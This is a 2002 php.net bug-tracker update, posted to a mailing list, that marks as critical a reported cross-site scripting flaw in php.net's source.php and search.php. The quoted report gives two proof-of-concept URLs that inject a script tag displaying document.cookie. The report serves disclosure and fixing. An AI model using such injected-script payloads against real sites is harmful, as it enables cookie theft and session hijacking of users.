Bug #16258 Updated: Cross-Site scripting in php.net
| From: | sander@php.net | Date: | Mon, 25 Mar 2002 14:00:35 +0000 |
| Subject: | Bug #16258 Updated: Cross-Site scripting in php.net | ||
| References: | 1 | Groups: | php.mirrors |
| Request: | Send a blank email to php-mirrors+get-9235@lists.php.net to get a copy of this message | ||
ID: 16258
Updated by: sander@php.net
Reported By: nopman@hackermail.com
-Status: Open
+Status: Critical
Bug Type: Website problem
Operating System: Unix
PHP Version: 4.1.2
New Comment:
Marking as critical.
Previous Comments:
------------------------------------------------------------------------
[2002-03-25 08:57:41] nopman@hackermail.com
There is a Cross-Site scripting problem in source.php and
search.php.
One can enter following URL:
http://www.php.net/source.php?url=/<script>alert(document.cookie)</script><!--.html
And following will also work:
http://www.php.net/search.php?show=nosource&auto=1&pattern=dfighdfughfg&base="><script>alert(document.cookie)</script><!--
Regards,
NopMan
------------------------------------------------------------------------
--
Edit this bug report at http://bugs.php.net/?id=16258&edit=1